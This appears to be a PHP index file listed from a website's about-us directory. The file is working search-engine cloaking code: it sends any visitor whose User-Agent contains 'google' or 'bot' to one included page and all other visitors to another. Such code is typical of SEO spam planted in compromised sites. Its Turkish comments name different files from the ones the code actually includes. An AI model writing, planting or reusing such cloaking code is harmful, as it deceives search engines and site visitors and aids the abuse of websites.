File "index.php"
Full Path: /home/bytebmoc/tideswithin.com/about-us/index.php
File size: 595 bytes
MIME-type: text/x-php
Charset: utf-8
<?php
// Kullanıcı IP'si ve User-Agent'ı kontrol et
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$is_mobile = preg_match('/(iphone|ipod|android|blackberry|windows phone)/i', $user_agent); // Mobil cihaz kontrolü
// Google ile ilgili user-agent kontrolleri
if (stripos($user_agent, 'google') !== false || stripos($user_agent, 'bot') !== false) {
include('size.php'); // Google bot ise google.php göster
} elseif ($is_mobile) {
include('home.php'); // Mobil cihaz ise kullanici.php göster
} else {
include('home.php'); // Diğer durumlar için default içerik
}
?>